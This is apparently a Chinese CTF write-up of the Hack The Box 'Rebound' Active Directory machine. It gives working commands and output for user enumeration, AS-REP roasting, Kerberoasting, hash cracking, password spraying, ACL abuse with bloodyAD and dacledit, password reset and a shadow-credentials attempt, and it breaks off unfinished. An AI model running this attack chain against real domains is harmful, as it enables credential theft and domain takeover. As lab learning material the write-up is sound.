靶场信息
- 系统:Windows
- 难度:疯狂 Insane
参考文章:
https://nuts7.fr/htb-rebound/#privilege-escalation-remotepotato
https://flowus.cn/share/50b4057a-d911-473d-8fc3-eca5fc859ad8
PreEnum
Nmap扫描
# Nmap 7.94 scan initiated Fri Nov 24 10:14:09 2023 as: nmap -sC -sV -v -oN nmap.log 10.10.11.231
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-24 09:15:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605:cbae:f659:f555:d80b:7a18:adfb:6ce8
|_SHA-1: af8b:ec72:779e:7a0f:41ad:0302:eff5:a6ab:22f0:1c74
|_ssl-date: 2023-11-24T09:15:51+00:00; +7h00m02s from scanner time.
444/tcp filtered snpp
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-24T09:15:50+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605:cbae:f659:f555:d80b:7a18:adfb:6ce8
|_SHA-1: af8b:ec72:779e:7a0f:41ad:0302:eff5:a6ab:22f0:1c74
1087/tcp filtered cplscrambler-in
1090/tcp filtered ff-fms
1322/tcp filtered novation
1494/tcp filtered citrix-ica
2382/tcp filtered ms-olap3
3221/tcp filtered xnm-clear-text
3283/tcp filtered netassistant
6792/tcp filtered unknown
7777/tcp filtered cbt
8654/tcp filtered unknown
10215/tcp filtered unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s
| smb2-time:
| date: 2023-11-24T09:15:41
|_ start_date: N/A
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 24 10:15:50 2023 -- 1 IP address (1 host up) scanned in 101.10 seconds
我们可以将 DC 的 FQDN 和 NetBIOS 名称添加到我们的/etc/hosts
配置文件中:
$ echo '10.10.11.231 rebound.htb dc01.rebound.htb DC01' | sudo tee -a /etc/hosts
10.10.11.231 rebound.htb dc01.rebound.htb DC01
SMB Anonymous Login
与Linux的ftp一样,Windows的SMB也可以匿名空密码登录,用crackmapexec(CME)枚举共享文件(shares)
Shared和IPC$可读,但是都没有东西
RID遍历枚举域内用户
└─$ lookupsid.py "REBOUND"/Guest@"rebound.htb" 20000 -no-pass
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra
[*] Brute forcing SIDs at rebound.htb
[*] StringBinding ncacn_np:rebound.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
5277: rebound\jjones (SidTypeUser)
5569: rebound\mmalone (SidTypeUser)
5680: rebound\nnoon (SidTypeUser)
7681: rebound\ldap_monitor (SidTypeUser)
7682: rebound\oorend (SidTypeUser)
7683: rebound\ServiceMgmt (SidTypeGroup)
7684: rebound\winrm_svc (SidTypeUser)
7685: rebound\batch_runner (SidTypeUser)
7686: rebound\tbrady (SidTypeUser)
7687: rebound\delegator$ (SidTypeUser)
将用户名整理到users.list文件
cat user.out | grep "SidTypeUser" | awk -F'\' '{print$2}' | awk -F'(' '{print$1}' > users.list
AS-REP Roasting Attack
AS-REP Roasting Attack
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。
AS-REP Roastable 用户是不需要 Kerberos 预身份验证的用户( LDAP 属性DONT_REQUIRE_PREAUTH
中的标志userAccountControl
)。然后,我们可以以用户名向 KDC(密钥分发中心)请求 TGT(票证授予票证),并破解响应的一部分,其中KRB_AS_REP
包含 TGT 和使用 NT 哈希加密的会话密钥。攻击者可以尝试通过离线暴力破解来检索该域帐户的密码
方法一
impacket-GetNPUsers
工具可以进行AS-REP Roasting
我们得到了jjones@REBOUND.HTB
的hash以及hash类型$krb5asrep$23
,但是KRB5ASREP 加密类型 23 哈希值不可破解。
方法二
crackmapexec
枚举ldap协议,使用--asreproast
参数
└─$ crackmapexec ldap rebound.htb -u users.list -p '' --asreproast AS_REP.out
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAP rebound.htb 445 DC01 $krb5asrep$23$jjones@REBOUND.HTB:e8768f4b9679f5198df5d0cc2b626150$16c4495a4f9b928eb7f81e9248b07dcc4e0df27e366377283a9d8463e2bc9dc49d52a00f9ac8aaf04de5f3d94972d4d3cb82e4f4ccd157d5e7ccf06051c8a00f3eabf3d2747529e67b93a62518f52ee2322acc56eb9be3beac2568e3378b12ffcb94e1f146ead81ddfe7aae09e977ec12d92299047182814083616d96d083907ef5a81a65e0c347fc050a875680e5307158e9eff48b57403f2258ad748e8b58d3c01f2cfd0a8da365402eec78d5fd023568ebb3bd4b84a9643a15bfae66ab77f6004f0931602117703753718a8e4ec58dad616dbffeff5c058198e1a2cda54821b1a842a7f61c11ed8bb
Kerberoasting
Kerberoast Attack
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast
通过 Kerberoasting 攻击,攻击者可以通过向 KDC(密钥分发中心)请求 TGT(票据授予票据)KRB_AS_REQ
,然后 KDC 将以请求用户的名义发送 TGT 和使用用户的密钥加密的会话密钥。 NT 哈希,通过KRB_AS_REP
响应。接下来,用户可以通过请求提供其 TGT 和有效的 SPN(服务主体名称),从 TGS(票证授予服务)请求 ST(服务票证)KRB_TGS_REQ
。然后,KDC 将通过KRB_TGS_REP
响应向他发送所请求服务的 ST。该 ST 使用所请求的服务帐户的 NT 哈希进行加密。该帐户被称为 Kerberoastable。攻击者可以尝试通过离线暴力破解来检索服务帐户密码。
Kerberoast 攻击的基本原理如下:
- 在 Windows 域中,服务账户通常用于运行各种服务,如数据库、Web应用程序等。这些服务账户的密码存储在 Active Directory 中的散列形式。
- Kerberos 协议用于进行身份验证和票证颁发,服务账户的散列(通常是NTLM哈希)存储在服务账户对象的属性中。
- 攻击者可以通过访问 Active Directory 获取服务账户的散列值。
- 攻击者使用这些散列值(通常是NTLM散列)进行离线破解,以尝试恢复服务账户的明文密码。
- 一旦攻击者获得了明文密码,他们可以使用这些密码来登录服务,从而获得访问权限。
总之,Kerberoast 是一种常见的攻击技术,用于获取 Windows 域中的服务账户密码散列,因此在 Windows 环境中进行安全评估和防御时需要注意此类攻击。
windows 可以使用这个工具Rubeus.exe
ATTACK
使用impacket工具包里的GetUserSPNs
,用于执行 Kerberoasting 攻击,尝试获取服务账户的哈希值。
└─$ GetUserSPNs.py -no-preauth "jjones" -usersfile "users.list" -dc-host "dc01.rebound.htb" "rebound.htb"/
得到四个用户的hash,其中ldap_monitor的hash可以爆破出来
└─$ sudo john ldap_monitor.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1GR8t@$$4u (?)
1g 0:00:00:05 DONE (2023-11-27 18:43) 0.1893g/s 2469Kp/s 2469Kc/s 2469KC/s 1Gobucs!..1DENA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
密码喷洒(Password spraying)
https://www.crackmapexec.wiki/smb-protocol/password-spraying
撞到两个用户ldap_monitor
和oorend
Bloodhound 枚举
bloodhound-python
bloodhound.py 是 BloodHound 工具的一部分,用于收集和分析活动目录(Active Directory)环境的信息
kali输入bloodhound-python
就可以用,如果没有安装的话会提示你安装
└─$ faketime -f +7h bloodhound-python --domain-controller dc01.rebound.htb -ns 10.10.11.231 -u ldap_monitor -p '1GR8t@$$4u' -c all --domain rebound.htb
INFO: Found AD domain: rebound.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 16 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: gmsa.rebound.htb
INFO: Querying computer: dc01.rebound.htb
WARNING: Could not resolve: gmsa.rebound.htb: The resolution lifetime expired after 3.203 seconds: Server 10.10.11.231 UDP port 53 answered The DNS operation timed out.; Server 10.10.11.231 UDP port 53 answered The DNS operation timed out.
INFO: Done in 01M 21S
将生成的几个json文件归档整理一下,丢到bloodhound
bloodhound一些小知识
在计算机科学中,“最短路径”指的是在图形或网络中找到两个节点之间最短距离的算法或方法。BloodHound是一种用于在Active Directory环境中进行权限分析和攻击路径分析的工具。它可以帮助安全专业人员理解系统中存在的权限和访问路径,其中涉及到了节点之间的连接和路径。在BloodHound中,寻找最短路径可能指的是查找两个权限或访问点之间最有效的连接或操作路径。这种路径分析对于评估安全风险和发现潜在的攻击路径非常有用。
bloodhound分析
关注这一条最短路径(右键help然后机翻的)
SERVICEMGMT@REBOUND.HTB
组的成员对OU SERVICE USERS@REBOUND.HTB
具有GenericAll
权限。这也称为完全控制。此特权允许受托人随心所欲地操纵目标对象。- 用户
WINRM_SVC@REBOUND.HTB
能够创建与计算机DC01.REBOUND.HTB
的PSRemote
连接。PS
会话访问允许您进入与目标计算机的交互式会话(WinRS)。如果以低权限用户身份进行身份验证,则权限升级可能允许您获得系统上的高权限。注意:此边缘不保证特权执行。 - 计算机
DC01.REBOUND.HTB
对域REBOUND.HTB
具有DS-Replication-Get-Changes
和DS-Replication-Get-Changes-All
权限。这两个权限允许主体执行 DCSync 攻击。
此外,winrm_svc 用户属于服务用户 OU,现在只差激活 OU 继承来强制更改 winrm_svc 用户的密码了。
powerview 枚举 ACL
https://www.thehacker.recipes/ad/movement/dacl
ACL 访问控制列表
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ifs/access-control-list
powerview
https://powersploit.readthedocs.io/en/latest/Recon/
https://www.freebuf.com/sectool/173366.html
使用powerview分析ACL
powerview使用ldap_monitor用户执行 LDAP 监视器
faketime -f +7h powerview rebound.htb/ldap_monitor:'1GR8t@$$4u'@rebound.htb --dc-ip 10.10.11.231 -k
rebound.htb/ldap_monitor:'password'@rebound.htb
: 这是 Powerview 工具的命令行参数,用于指定活动目录的目标、用户名和密码。rebound.htb/ldap_monitor
应该是目标活动目录的域控制器的主机名或IP地址。--dc-ip ip
: 这是 Powerview 工具的命令行参数,用于指定域控制器的IP地址。你应该将其替换为实际域控制器的IP地址。-k
: 这是 Powerview 工具的命令行参数,用于执行 Kerberos 阻塞。它允许你使用已经获取的票据(例如,TGT)执行操作。
在LDAP监视器中获取所有用户的ACL信息
[2023-12-01 00:41:16] LDAP Signing NOT Enforced!
(LDAPS)-[rebound.htb]-[rebound\ldap_monitor]
PV > Get-ObjectAcl ServiceMgmt -Server dc01.rebound.htb -ResolveGUIDs
- Get-ObjectAcl:这是一个PowerShell命令,通常用于从目标系统中检索对象的ACL信息。
- ServiceMgmt:这是要检索其ACL信息的对象的名称或标识符。
- -Server dc01.rebound.htb:指定要执行命令的远程服务器,即"dc01.rebound.htb"。这表示命令将在目标服务器上运行以检索对象的ACL信息。
- -ResolveGUIDs:这个标志通常用于表示要解析ACL中的GUID(全局唯一标识符)。在ACL中,用户和组的标识符通常以GUID的形式表示,这个标志允许将这些GUID解析为其对应的用户或组的名称。
找到我们owned的用户
oorend 用户账户拥有 ServiceMGMT 组的 Self (ADS_RIGHT_DS_SELF) 访问权限,该权限可以执行验证写入(即编辑属性值并由 AD 验证和确认该值)。已验证的写入由对象类型 GUID 引用。
因此,我们可以使用 bloodyAD 工具将我们的owned用户 oorend 添加到 ServiceMGMT 组,然后再次要求 TGT 更新 PAC(权限属性证书)。
将oorend 添加到 ServiceMGMT 组
└─$ bloodyAD -h
usage: bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] [--host HOST]
[-v {QUIET,INFO,DEBUG}]
{add,get,remove,set} ...
AD Privesc Swiss Army Knife
options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-c CERTIFICATE, --certificate CERTIFICATE
Certificate authentication, e.g: "path/to/key:path/to/cert"
-s, --secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
-v {QUIET,INFO,DEBUG}, --verbose {QUIET,INFO,DEBUG}
Adjust output verbosity
Commands:
{add,get,remove,set}
add [ADD] function category
get [GET] function category
remove [REMOVE] function category
set [SET] function category
使用bloodyAD将用户oorend添加到ServiceMGMT OU中
sudo bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add groupMember 'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=oorend,CN=Users,DC=rebound,DC=htb"
[+] CN=oorend,CN=Users,DC=rebound,DC=htb added to CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB
- 记录一个小疏忽:
'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb"
一开始我把oorend的ObjectDN直接复制到member参数这里,报错了。member正确的参数应该是oorend Users@rebound.htb
在 SERVICE USERS@REBOUND.HTB OU
中启用具有继承性的完全控制权
Download address&help
https://raw.githubusercontent.com/ShutdownRepo/impacket/dacledit/examples/dacledit.py
https://raw.githubusercontent.com/byt3bl33d3r/CrackMapExec/master/cme/helpers/msada_guids.py
help:https://www.youtube.com/watch?v=O_VeRoT1f1k
启用权限
方法一
sudo faketime -f +7h /usr/share/doc/python3-impacket/examples/dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231 -k -use-ldaps -principal "oorend" -action write -rights ResetPassword -target-dn "OU=SERVICE USERS,DC=REBOUND,DC=HTB" -debug -inheritance
方法二
└─$ sudo bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' 'oorend'
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB
这导致我们拥有用户 winrm_svc 作为 oorend 的全部权限
两种利用姿势(殊途同归)
修改winrm_svc密码
net rpc password winrm_svc -U 'rebound.htb/oorend%passsword' -S rebound.htb
net rpc password
: 这是一个用于管理 Windows 计算机的命令行工具。winrm_svc
: 这是要更改密码的用户账户名称。-U 'rebound.htb/oorend%1GR8t@$$4u'
: 这是用于身份验证的用户凭据。具体来说,'rebound.htb/oorend%password'
是一个用户名和密码的组合,用户名是rebound.htb/oorend
,密码是你前面破解的
。这里%
用于分隔用户名和密码。-S rebound.htb
: 这是指定目标计算机或服务器的参数,这里是rebound.htb
,表示要连接到rebound.htb
计算机。
这里我们就可以登录普通用户了
evil-winrm -u winrm_svc -i ip
影子凭证攻击 / UnPAC 哈希
与其修改用户 winrm_svc 的密码,我们可以执行影子凭证攻击,即用包含 RSA 公钥的 KeyCredential 结构编辑目标对象的 msDs-KeyCredentialLink LDAP 属性。在这里,我们可以使用 PKINIT、证书和私钥进行身份验证。此外,使用 PKINIT,TGT 包含 PAC_CREDENTIAL_INFO 结构,可以使用 S4U2self + U2U 技术和会话密钥进行解密,这种攻击被命名为 UnPAC 哈希
faketime -f +7h certipy-ad shadow auto -account winrm_svc -u "oorend@rebound.htb" -p '1GR8t@$$4u' -dc-ip 10.10.11.231 -k -target dc01.rebound.htb -debug
很难崩
不想总结但还是需要总结
这个靶机纯粹的域渗透,真的难绷,这个星级和267的BF不是假的,马上期末得开始复习了(不然挂科了),这个靶机后面再打吧。
虽然没打完,但还是学到挺多Windows域渗透的知识和方法。
1.RID遍历枚举域内用户,拿到这台机器的一个用户名列表users.list
2.AS-REP Roasting
发现jjones
用户,但是hash没法破解出来
3.Kerberoasting
得到四个用户的密码,但是只有ldap_monitor
的hash可以爆出来明文:1GR8t@$$4u
4.密码喷洒撞出两个用户ldap_monitor
和oorend
5.bloodhound分析出一个可能的攻击向量,然后powerview
发现oorend
用户账户拥有ServiceMGMT
组的 Self (ADS_RIGHT_DS_SELF)
访问权限
6.使用bloodyAD
将用户oorend
添加到ServiceMGMT OU
中,并启动genericAll
权限
7.拿到权限后两个方法,要么重置winrm_svc
用户的密码,要么打影子凭证,然后evil-winrm
连接。但是在这里出现了问题,重置密码出现上面的报错,影子凭证也是报错(忘记截图了)